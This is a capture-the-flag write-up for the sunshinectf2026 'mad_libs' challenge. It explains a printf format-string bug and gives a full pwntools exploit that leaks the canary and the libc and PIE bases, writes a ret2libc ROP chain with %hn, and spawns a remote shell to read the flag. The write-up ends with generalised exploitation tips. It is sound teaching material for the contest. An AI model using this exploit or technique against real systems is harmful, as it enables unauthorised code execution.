$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: stripped PIE amd64 binary prints an fgets'd buffer directly as a printf format string across 8 loop rounds (classic format-string bug), with canary, NX, PIE and Partial RELRO. Solution: leak canary/libc/PIE in round 1 via %N$p, then use %hn halfword writes across later rounds to plant a ret2libc ROP chain over main's saved return address; canary stays intact so main returns cleanly into system("/bin/sh").
=== Mad Libs === Fill in the blanks!
English summary: A "mad libs" prompt asks the user to fill in blanks eight times. Each entry is echoed back, but the program reflects the user string through printf without a format specifier, giving a classic format-string primitive that is used 8 times per connection. Goal: get a shell on the remote and read the flag (sun{...}).
Provided files: mad_libs (ELF64, PIE, amd64, stripped), libc.so.6 (Ubuntu GLIBC 2.39-0ubuntu8.3), and ld-linux-x86-64.so.2. RUNPATH is $ORIGIN.
Protections:
There is no win()/system() in the binary, so exploitation must pivot into the supplied libc 2.39.
main (@ 0x11c9) runs an 8-iteration loop:
puts("=== Mad Libs ==="); puts("Fill in the blanks!"); for (int i = 0; i < 8; i++) { printf("(%d) > ", i + 1); if (fgets(buf /* [rbp-0x110] */, 0x100, stdin) == NULL) break; printf(buf); // <-- FORMAT STRING BUG: user buffer as format string } puts("Story complete!"); return; // canary checked, then leave; ret
Frame layout: buf at rbp-0x110, canary at rbp-0x8, frame size 0x120. The user string reaches printf directly as the format argument — a textbook format-string vulnerability, repeated for up to 8 rounds. Because the canary is never corrupted, main can be allowed to return cleanly, so we simply overwrite main's saved return address and let it ret into a ROP chain.
Offsets were pinned locally by running the binary under the provided loader inside an Ubuntu 24.04 (glibc 2.39) docker container:
process(['./ld-linux-x86-64.so.2', '--library-path', '.', './mad_libs'])
Key format-string argument offsets (verified stable):
%8$p = first 8 bytes of buf).%41$p = stack canary (ends in 00).%42$p = saved rbp value.%43$p = libc address = libc_base + 0x2a1ca (a __libc_start_call_main return address).%47$p = PIE address = pie_base + 0x11c9 (== main).A single round leaks everything:
p.sendline(b'%41$p|%42$p|%43$p|%47$p|END') leak = p.recvuntil(b'END').split(b'|') canary = int(leak[0], 16) rbp_val = int(leak[1], 16) libc_base = int(leak[2], 16) - 0x2a1ca pie_base = int(leak[3], 16) - 0x11c9 ra_addr = rbp_val - 0x98 # address of main's saved return-address slot
Important subtlety: arg 43 holds the RA value, not a pointer to it. Writing %43$hn would clobber the wrong thing. Instead the RA slot address is computed reliably as (%42$p value) - 0x98, and all %hn writes target that computed address (and +2/+4/+8/... offsets from it).
%hn writes)With all bases known, resolve gadgets/addresses from the provided libc 2.39:
pop_rdi = libc_base + 0x10f75b # pop rdi ; ret
ret = libc_base + 0x2882f # bare ret (16-byte stack alignment)
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym.system
ROP chain written at the RA slot (ra_addr), one qword per subsequent round:
ra_addr + 0 = pop_rdi ; ret
ra_addr + 8 = "/bin/sh"
ra_addr + 16 = ret # keep 16-byte alignment before the call into system
ra_addr + 24 = system
Each 8-byte target is written with %hn halfword (2-byte) writes to keep the printf character counts tiny; only the low 3 halfwords need writing since canonical userspace addresses have a zero top halfword. Pointers to the target addresses are appended to the tail of the format buffer (which lives at a known/leaked stack region and starts at arg 8), then referenced by positional %N$hn. The writer converges the format-string length so the appended pointer array lands on 8-byte-aligned argument slots.
def fsb_write(p, writes): # writes: list of (addr, 2-byte value); emit incremental %c padding + %N$hn, # sorted ascending by value so printf's running count only increases. # Layout: [format text] [pad to 8-align] [8-byte target pointers...] n = len(writes) order = sorted(range(n), key=lambda i: writes[i][1] & 0xffff) def build(fmt_len_guess): pad = (-fmt_len_guess) % 8 base_off = fmt_len_guess + pad ptr_arg0 = 8 + base_off // 8 # BUF_ARG == 8 fmt, printed = b'', 0 for i in order: val = writes[i][1] & 0xffff need = (val - printed) % 0x10000 if need: fmt += b'%' + str(need).encode() + b'c' printed = (printed + need) & 0xffff fmt += b'%' + str(ptr_arg0 + i).encode() + b'$hn' return fmt, pad, ptr_arg0 guess = 0 for _ in range(10): fmt, pad, _ = build(guess) if len(fmt) == guess: break guess = len(fmt) fmt, pad, _ = build(guess) payload = fmt + b'\x00' * pad + b''.join(p64(writes[i][0]) for i in range(n)) assert len(payload) <= 0x100 - 1 p.sendline(payload)
Round budget:
Because the canary is untouched, after puts("Story complete!") main returns straight into pop rdi ; ret → "/bin/sh" → ret → system, spawning a shell. Then read the flag:
$ id; cat flag.txt
Result: shell as uid=1337(mad_libs), flag sun{REDACTED}.
#!/usr/bin/env python3 # Mad Libs — sunshinectf2026 — format-string ret2libc import sys from pwn import * context.arch = 'amd64' LOCAL = '--local' in sys.argv REMOTE_HOST, REMOTE_PORT = 'sunshinectf.games', 26001 # chal.sunshinectf.org had no DNS at solve time libc = ELF('./libc.so.6', checksec=False) OFF_SYSTEM = libc.sym.system OFF_BINSH = next(libc.search(b'/bin/sh\x00')) OFF_POP_RDI = 0x10f75b # pop rdi ; ret OFF_RET = 0x2882f # ret BUF_ARG = 8 def start(): if LOCAL: return process(['./ld-linux-x86-64.so.2', '--library-path', '.', './mad_libs']) return remote(REMOTE_HOST, REMOTE_PORT) def fsb_write(p, writes): n = len(writes) order = sorted(range(n), key=lambda i: writes[i][1] & 0xffff) def build(fmt_len_guess): pad = (-fmt_len_guess) % 8 ptr_arg0 = BUF_ARG + (fmt_len_guess + pad) // 8 fmt, printed = b'', 0 for i in order: val = writes[i][1] & 0xffff need = (val - printed) % 0x10000 if need: fmt += b'%' + str(need).encode() + b'c' printed = (printed + need) & 0xffff fmt += b'%' + str(ptr_arg0 + i).encode() + b'$hn' return fmt, pad, ptr_arg0 guess = 0 for _ in range(10): fmt, pad, _ = build(guess) if len(fmt) == guess: break guess = len(fmt) fmt, pad, _ = build(guess) payload = fmt + b'\x00' * pad + b''.join(p64(writes[i][0]) for i in range(n)) assert len(payload) <= 0x100 - 1 p.sendline(payload) def main(): p = start() p.recvuntil(b'(1) > ') p.sendline(b'%41$p|%42$p|%43$p|%47$p|END') leak = p.recvuntil(b'END').split(b'|') canary = int(leak[0], 16) rbp_val = int(leak[1], 16) libc_base = int(leak[2], 16) - 0x2a1ca pie_base = int(leak[3], 16) - 0x11c9 ra_addr = rbp_val - 0x98 pop_rdi = libc_base + OFF_POP_RDI ret = libc_base + OFF_RET binsh = libc_base + OFF_BINSH system = libc_base + OFF_SYSTEM chain = [pop_rdi, binsh, ret, system] def prompt(): p.recvuntil(b'> ') for qi, qval in enumerate(chain): prompt() tgt = ra_addr + qi * 8 writes = [(tgt + h * 2, (qval >> (16 * h)) & 0xffff) for h in range(3)] fsb_write(p, writes) for _ in range(8 - 1 - len(chain)): prompt(); p.sendline(b'done') p.recvuntil(b'Story complete!', timeout=5) p.sendline(b'id; cat flag.txt 2>/dev/null; cat /flag* 2>/dev/null') p.interactive() if __name__ == '__main__': main()
Use this approach when:
printf as the format string (printf(buf) with no "%s"), and the vulnerable printf runs multiple times in a loop — repeated rounds turn a single format-string bug into arbitrary leak + arbitrary write.libc.so.6 + ld — expect to leak PIE and libc bases (%N$p) and pivot to ret2libc; run under the provided loader (ld --library-path . ./binary) to pin argument offsets locally.main's saved return address is an equally valid and often more robust target. With the canary left intact, main returns cleanly into the ROP chain.%hn halfword writes (only 3 low halfwords for canonical addresses) to keep printf counters small and payloads within the input size limit.rbp_value - 0x98), never %43$hn.remote() from the host.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar